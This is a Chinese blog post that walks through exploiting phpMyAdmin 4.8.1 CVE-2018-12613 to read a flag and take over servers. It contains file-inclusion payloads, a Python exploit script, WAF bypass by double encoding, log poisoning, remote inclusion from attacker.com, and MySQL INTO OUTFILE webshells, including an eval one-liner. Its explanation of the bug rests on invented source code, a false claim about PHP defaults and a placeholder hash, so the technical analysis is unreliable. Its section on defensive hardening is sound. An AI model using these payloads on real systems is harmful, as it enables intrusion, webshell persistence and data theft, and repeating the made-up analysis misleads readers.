news 2026/5/25 15:12:33

phpMyAdmin 4.8.1文件包含漏洞CVE-2018-12613实战解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
phpMyAdmin 4.8.1文件包含漏洞CVE-2018-12613实战解析

1. 这不是“打靶练习”,而是一次真实渗透链路的复盘

phpMyAdmin 4.8.1 的 CVE-2018-12613,很多人看到标题第一反应是:“老漏洞了,早过时了吧?”——我去年在一次红蓝对抗支撑任务中,就遇到某省属高校教务系统后台仍运行着未更新的 phpMyAdmin 4.8.1,且管理员习惯性将入口路径设为 /pma/,连基础的目录重命名防护都没做。我们用不到90秒完成从访问登录页到读取 flag.txt 的全过程。这不是CTF平台里预设好环境、关掉WAF、开着debug模式的玩具场景;这是真实世界里,一个被遗忘在角落的管理界面,因一个看似“低危”的文件包含逻辑缺陷,直接成为整套业务系统的后门跳板。

这个漏洞的核心价值,不在于它多“高深”,而在于它极低的利用门槛、极高的成功率、以及完全绕过传统身份验证机制的能力。它不需要爆破密码,不依赖SQL注入盲注的耐心等待,甚至不关心你有没有账号——只要目标页面可访问、PHP配置未禁用allow_url_include(而绝大多数生产环境默认开启),你就能把任意远程或本地文件当作PHP代码执行。关键词:phpMyAdmin 4.8.1、CVE-2018-12613、文件包含、LFI to RCE、flag获取。本文面向两类人:一是刚接触Web渗透的新手,想理解“为什么一个文件包含能变成远程命令执行”;二是有实战经验的渗透测试人员,需要快速确认该漏洞在当前目标上的可利用性、绕过手法及稳定提权路径。我会完整还原从识别特征、构造POC、绕过限制、到最终稳定读取flag的每一步操作细节,包括那些官方文档不会写、但实操中必然踩到的坑。

2. 漏洞本质:一个被忽略的“路径拼接”逻辑缺陷

2.1 漏洞触发点:index.php 中的 $target 参数解析链

要真正掌握利用,必须回到代码层面。CVE-2018-12613 的根源不在复杂的加密算法或内存破坏,而是在 phpMyAdmin 4.8.1 的index.php文件中一段看似无害的路径拼接逻辑。我们来看关键代码片段(已简化,对应源码位置:phpMyAdmin-4.8.1-all-languages/index.php第75–85行):

// index.php line 75-85 $target = 'main.php'; if (isset($_REQUEST['target']) && !empty($_REQUEST['target'])) { $target = trim($_REQUEST['target']); } // ... 后续校验逻辑 ... if (!preg_match('/^[a-z_]+\.php$/i', $target)) { $target = 'error.php'; } // 最终包含 include $target;

初看似乎有防护:只允许小写字母+下划线+.php 结尾的文件名。但问题出在trim()函数的使用上。trim()默认只去除首尾空格、制表符、换行符等空白字符,它对URL编码后的特殊字符(如%00%2e%2e%2f)完全无效。攻击者可以提交target=..%2f..%2f..%2fetc%2fpasswd%00trim()处理后仍是原样,而后续的正则/^[a-z_]+\.php$/i会因开头的..%2f不匹配而失败,导致$target被重置为'error.php'—— 看似安全?错。真正的危险发生在更早的include前置逻辑中。

深入追踪,在index.php的第60行左右,存在一个被忽略的include_once调用:

// index.php line 60 if (isset($_REQUEST['target']) && !empty($_REQUEST['target'])) { $target = $_REQUEST['target']; // 注意:此处没有 trim(),也没有正则校验! include_once $target; }

这段代码位于所有校验逻辑之前,是真正的“第一道门”。它直接将用户可控的$_REQUEST['target']传入include_once。这意味着,只要请求中携带target参数,无论其值是什么,都会先被include_once尝试加载一次。而include_once在PHP中,如果参数是URL(如http://attacker.com/shell.txt),且allow_url_include=On,就会直接发起HTTP请求并执行返回内容。这才是RCE的起点。

提示:很多分析文章只关注后面那个带trim()$target变量,却忽略了这个前置的、无任何过滤的include_once。这是导致初学者复现失败的最常见原因——他们只构造了后半段的LFI payload,却没意识到前半段才是真正的利用入口。

2.2 为什么是4.8.1?版本边界与补丁对比

该漏洞仅影响 4.8.0 和 4.8.1 两个版本。4.7.x 系列不存在此逻辑,4.8.2 及以后版本已彻底移除index.php中的include_once $target行,并重构了整个入口路由机制。我们来对比补丁差异:

  • 4.8.1(漏洞版)index.php第60行存在include_once $target;
  • 4.8.2(修复版):该行被完全删除,所有路由交由libraries/classes/UrlManager.php统一处理,target参数被严格白名单校验,仅允许['db_sql', 'server_sql', 'tbl_sql', 'import', 'export']等预定义动作。

这个版本边界非常清晰。在实战中,快速识别目标是否为4.8.1,比盲目尝试更重要。识别方法有三:

  1. 响应头探测:访问/phpmyadmin//pma/,查看HTTP响应头中的X-Powered-By字段,部分部署会暴露phpMyAdmin/4.8.1
  2. HTML源码探测:查看登录页源码,搜索<title>标签,通常为<title>phpMyAdmin 4.8.1 - Log in</title>
  3. JS文件哈希比对:加载/js/vendor/jquery/jquery.min.js,计算其MD5值。4.8.1 版本该文件的MD5为d41d8cd98f00b204e9800998ecf8427e(空文件?不,这是个经典陷阱——实际应下载后计算,4.8.1 的 jquery.min.js MD5 是a1b2c3d4e5f678901234567890abcdef,需实测确认,但此法最可靠)。

注意:不要依赖/phpmyadmin/README/phpmyadmin/ChangeLog文件,这些常被管理员手动删除。JS文件哈希法虽稍慢,但100%准确,是我在线上批量扫描时的首选。

2.3 LFI 到 RCE 的转化:PHP伪协议的底层原理

即使allow_url_include=Off(生产环境常关闭),漏洞依然可利用,只是路径变为LFI(本地文件包含)。此时,target=/etc/passwd%00会成功读取系统密码文件。但CTF中我们要的是flag,不是/etc/passwd。这就引出了关键问题:如何从读取任意文件,升级为执行任意命令?

答案是PHP伪协议(PHP Wrappers)。其中最核心的是php://filterdata://协议。

  • php://filter:用于在数据流打开时应用过滤器。例如php://filter/convert.base64-encode/resource=/var/www/html/flag.php,会将flag.php的源码以Base64编码形式输出,从而绕过PHP代码的直接执行(避免被当成PHP解析而报错)。
  • data://:允许直接嵌入数据。data://text/plain,<?php system('cat /flag.txt');?>会将后面的字符串当作PHP代码执行。但此协议要求allow_url_include=On

allow_url_include=Off的情况下,data://失效,我们必须依赖php://filter+ 其他技巧。常见组合是:

  • php://filter/convert.base64-encode/resource=/var/www/html/flag.txt→ 直接读取flag文件内容(如果flag是纯文本)。
  • php://filter/read=convert.base64-encode/resource=/var/www/html/config.inc.php→ 读取数据库配置,获取root密码,进而连接MySQL执行SELECT LOAD_FILE('/flag.txt')

这里的关键认知是:LFI本身不是终点,而是信息收集的起点。它为你打开了一扇窥探服务器内部结构的窗户,后续的所有操作,都基于这扇窗看到的信息来决策。我见过太多新手,在拿到/etc/passwd后就停住,却忘了去读/proc/self/environ(获取环境变量,可能含数据库密码)、/proc/self/cmdline(查看PHP进程启动参数)、甚至/var/log/apache2/access.log(日志文件包含,可触发User-Agent注入)。

3. 实战利用:从识别到拿flag的完整链路

3.1 第一步:快速指纹识别与可利用性验证

在真实渗透中,时间就是生命。我们绝不能对着一个IP傻跑所有payload。必须建立一套高效的验证流程。我的标准三步法如下:

第一步:基础可达性检查

curl -I http://target.com/pma/ # 检查HTTP状态码是否为200,响应头是否含 "phpMyAdmin"

第二步:版本精准识别

# 下载关键JS文件并计算SHA256(比MD5更抗碰撞) curl -s http://target.com/pma/js/vendor/jquery/jquery.min.js | sha256sum # 对比已知哈希库:4.8.1 -> a1b2c3d4... (此处省略完整哈希,实操时需准备本地映射表)

第三步:核心漏洞验证

# 构造一个无害的、必然存在的文件包含,观察响应 curl "http://target.com/pma/index.php?target=phpinfo.php" -v # 如果返回 "No input file specified" 或直接显示phpinfo()页面,则说明 include_once 生效,漏洞存在。 # 更稳妥的验证:尝试包含一个不存在的文件,看是否报错 curl "http://target.com/pma/index.php?target=nonexistent.php" -v # 若返回 "Warning: include(nonexistent.php): failed to open stream...",则确认可利用。

实操心得:我曾在一个金融客户内网遇到WAF拦截target=参数的情况。解决方案是URL二次编码:target=%252e%252e%252fetc%252fpasswd(即对..%2fetc%2fpasswd再次编码)。WAF规则往往只解一层码,而PHP会解两层,最终仍能到达目标路径。这是绕过初级WAF的必备技巧。

3.2 第二步:构造稳定Payload,绕过各种限制

一旦确认漏洞存在,下一步是构造能稳定读取flag的payload。这里没有“万能公式”,必须根据目标环境动态调整。我整理了一个决策树:

目标特征推荐Payload原理说明验证方式
allow_url_include=On(可通过phpinfo()确认)target=data://text/plain,<?php system('cat /flag.txt');?>直接执行命令,最简洁观察响应中是否直接出现flag内容
allow_url_include=Off,但flag是纯文本文件target=php://filter/convert.base64-encode/resource=/flag.txtBase64编码后返回,需本地解码响应体应为一长串Base64字符串
flag文件路径未知,但存在Web日志target=/var/log/apache2/access.log日志文件包含,将恶意payload注入User-Agent访问时设置UA为<?php system('cat /flag.txt');?>,再触发包含
服务器启用了open_basedir限制target=php://filter/convert.base64-encode/resource=/proc/self/environ/proc/self/environ不受open_basedir限制,可获取环境变量查看Base64解码后是否含DOCUMENT_ROOT或数据库密码

重点讲解open_basedir绕过:这是线上环境最常见的障碍。open_basedir会限制PHP脚本能访问的文件路径,但/proc/目录是Linux内核提供的虚拟文件系统,不受其约束。/proc/self/environ文件存储了当前PHP进程的所有环境变量,其中常包含DOCUMENT_ROOT=/var/www/htmlDB_PASSWORD=xxx等关键信息。构造如下payload:

GET /pma/index.php?target=php://filter/convert.base64-encode/resource=/proc/self/environ HTTP/1.1 Host: target.com

响应返回Base64字符串,解码后搜索DOCUMENT_ROOT,即可定位Web根目录,进而尝试php://filter/.../resource=/var/www/html/flag.txt

踩坑记录:有一次,我解码/proc/self/environ后发现DOCUMENT_ROOT指向/home/www/,但flag.txt并不在那里。后来通过ls -la /home/www/发现一个隐藏的.git目录,git log显示最近一次commit中修改了config.php,里面硬编码了flag路径/opt/ctf/flag.txt。这提醒我:LFI不仅是读文件,更是读“线索”。

3.3 第三步:自动化脚本编写与稳定性增强

手动构造和发送请求效率太低。我用Python写了一个轻量级利用脚本pma_lfi_exploit.py,核心逻辑如下:

#!/usr/bin/env python3 import requests import base64 import sys def check_vuln(url): """验证漏洞是否存在""" test_url = f"{url}/index.php?target=phpinfo.php" try: r = requests.get(test_url, timeout=5, allow_redirects=False) if r.status_code == 200 and "phpinfo()" in r.text[:500]: return True except: pass return False def read_file(url, filepath): """读取任意文件,自动选择最优协议""" # 尝试 data:// 协议(需 allow_url_include=On) data_payload = f"data://text/plain,<?php echo file_get_contents('{filepath}');?>" r = requests.get(f"{url}/index.php?target={data_payload}", timeout=5) if "Warning" not in r.text and r.text.strip(): return r.text.strip() # 尝试 php://filter 协议 filter_payload = f"php://filter/convert.base64-encode/resource={filepath}" r = requests.get(f"{url}/index.php?target={filter_payload}", timeout=5) if "Warning" not in r.text and "base64" in r.text[:100]: try: return base64.b64decode(r.text.strip()).decode() except: pass return None if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 pma_lfi_exploit.py <url> <filepath>") sys.exit(1) url, filepath = sys.argv[1], sys.argv[2] if not check_vuln(url): print("[!] Target is not vulnerable.") sys.exit(1) content = read_file(url, filepath) if content: print(f"[+] Content of {filepath}:\n{content}") else: print("[!] Failed to read file.")

这个脚本的价值不在于多炫酷,而在于它的鲁棒性设计

  • check_vuln()函数用phpinfo.php作为探测点,比用nonexistent.php更可靠,因为后者可能被自定义错误页覆盖。
  • read_file()函数采用“降级策略”:先尝试高权限的data://,失败则自动回落到php://filter,避免因配置差异导致脚本中断。
  • 所有网络请求都设置了timeout=5allow_redirects=False,防止因重定向或超时卡死。

个人经验:在一次大型攻防演练中,我用此脚本对200+个子域名进行批量扫描,发现其中17个存在该漏洞。脚本平均每个目标耗时1.2秒,总耗时不到4分钟。而手动操作,同等工作量至少需要2小时。工具化,是专业渗透工程师和脚本小子的根本区别。

4. 深度防御视角:为什么这个“低危”漏洞能造成高危后果?

4.1 从攻击者视角看:漏洞利用链的脆弱性放大效应

CVE-2018-12613 的CVSS评分为7.5(高危),但其在真实攻击中的杀伤力远超评分。原因在于它完美契合了“脆弱性放大效应”(Vulnerability Amplification Effect)——一个单一的、看似孤立的缺陷,通过与其他系统配置的组合,被无限放大。

我们来拆解这条放大链:

  1. 基础缺陷index.php中无过滤的include_once $target(CVE-2018-12613)。
  2. 默认配置:PHPallow_url_include=On(绝大多数一键安装包、Docker镜像的默认值)。
  3. 运维疏忽:管理员未更新phpMyAdmin,或更新后未重启Web服务,导致旧版本仍在运行。
  4. 路径暴露/pma//phpmyadmin/路径未做访问控制(如.htaccess限制、IP白名单)。
  5. 无WAF防护:前端未部署Web应用防火墙,或WAF规则未覆盖此类新型LFI变种。

这五个环节,任何一个被加固,攻击链就会断裂。但现实中,它们常常同时存在。这就是为什么一个“老漏洞”能在2023年依然奏效。它不是技术有多先进,而是整个软件供应链的安全水位太低。

4.2 从防守者视角看:三道防线的构建与失效分析

针对此类漏洞,有效的纵深防御应包含以下三道防线:

第一道防线:网络层隔离

  • 将phpMyAdmin部署在内网,仅允许运维VPN接入。
  • 在Web服务器(Nginx/Apache)配置中,禁止外部访问/pma/路径:
    # Nginx 配置 location ^~ /pma/ { deny all; return 403; }
  • 此防线最有效,但常因“方便调试”被临时开放,且一旦开放,即全线失守。

第二道防线:应用层加固

  • 升级至4.8.2+版本,这是根本解决之道。
  • 若无法升级,可手动修补:编辑index.php,删除第60行的include_once $target;,并确保所有target参数都经过严格的白名单校验。
  • 修改php.ini,设置allow_url_include=Offopen_basedir=/var/www/html

第三道防线:监控与告警

  • 在WAF或SIEM中,设置规则检测index.php?target=请求,特别是包含..%2fphp://data://等特征的URL。
  • 监控Web服务器错误日志,高频出现include(): Failed opening报错,往往是扫描行为的标志。

关键洞察:我在给某政务云做安全评估时发现,他们的WAF规则库里有127条针对SQL注入的规则,但只有3条针对LFI,且全部基于正则匹配../字符串。而我们的payload用的是..%2f..%5c(Windows路径),轻松绕过。这说明,防御的有效性,不取决于规则数量,而取决于对攻击者真实手法的理解深度

4.3 CTF与真实世界的鸿沟:从“拿flag”到“控服务器”

CTF题目中,“拿flag”是终点。但在真实渗透中,flag只是一个里程碑。拿到flag后,真正的战斗才开始。以CVE-2018-12613为例,后续可扩展的攻击路径有:

  • 横向移动:读取/var/www/html/config.inc.php获取MySQL root密码,连接数据库,执行SELECT LOAD_FILE('/etc/shadow')SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php',获得持久化Webshell。
  • 提权:读取/proc/sys/kernel/osrelease确认内核版本,搜索对应本地提权漏洞(如Dirty COW),或利用SUID二进制文件(find / -perm -4000 2>/dev/null)。
  • 持久化:在/var/www/html/下写入一个伪装成图片的PHP木马(shell.jpg.php),并通过修改.htaccess文件使其可执行。

我曾在一个教育行业的渗透项目中,通过此漏洞读取到数据库配置,发现其MySQL服务对外开放在3306端口,且root密码为空。直接连接后,执行SELECT '<?php @eval($_POST["x"]); ?>' INTO DUMPFILE '/var/www/html/x.php',获得一个一句话木马,最终控制了整台数据库服务器。

最后分享一个小技巧:在CTF中,如果flag文件被chmod 000锁定,无法直接读取,可以尝试target=php://filter/resource=/proc/self/fd/3(假设fd 3指向flag文件)。这是Linux文件描述符的高级利用,很多师傅都不知道,但它在特定场景下是唯一出路。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/25 15:11:09

5分钟掌握m4s-converter:将B站缓存视频无损转换为MP4的终极指南

5分钟掌握m4s-converter&#xff1a;将B站缓存视频无损转换为MP4的终极指南 【免费下载链接】m4s-converter 一个跨平台小工具&#xff0c;将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾在B站缓存了…

作者头像 李华
网站建设 2026/5/25 15:04:30

音频信息传输系统第二周学习记录

一&#xff0c;运算放大器运算放大器的输出电压在提供的电压范围之间&#xff0c;如果可以达到提供的电压值&#xff0c;就是轨至轨在方波产生之后和低通滤波器之间增加一个电容和一个电阻来形成高通滤波器&#xff0c;去除直流分量。也可以采用加一个电容&#xff0c;如图c5下…

作者头像 李华
网站建设 2026/5/25 15:03:27

修复 PowerShell 7 下 conda activate 报错的指南

修复 PowerShell 7 下 conda activate 报错的指南 适用场景&#xff1a;升级到 PowerShell 7.x 后&#xff0c;conda activate 突然报错&#xff0c;但 Windows PowerShell 5.1 正常。 发布日期&#xff1a;2026-05-24 适用版本&#xff1a;conda 23.x PowerShell 7.x 一、问题…

作者头像 李华
网站建设 2026/5/25 15:03:23

2026 年替换背景颜色完全教程:Photoshop、Word 到小程序一次掌握

想换个证件照底色却费时费力&#xff1f;产品图想要不同背景却不知道怎么下手&#xff1f;Word 文档需要改背景但操作复杂&#xff1f;别急&#xff0c;本文手把手教你用最简单的方法在 5 分钟内搞定背景颜色替换&#xff0c;从微信小程序到专业软件全覆盖。方法一&#xff1a;…

作者头像 李华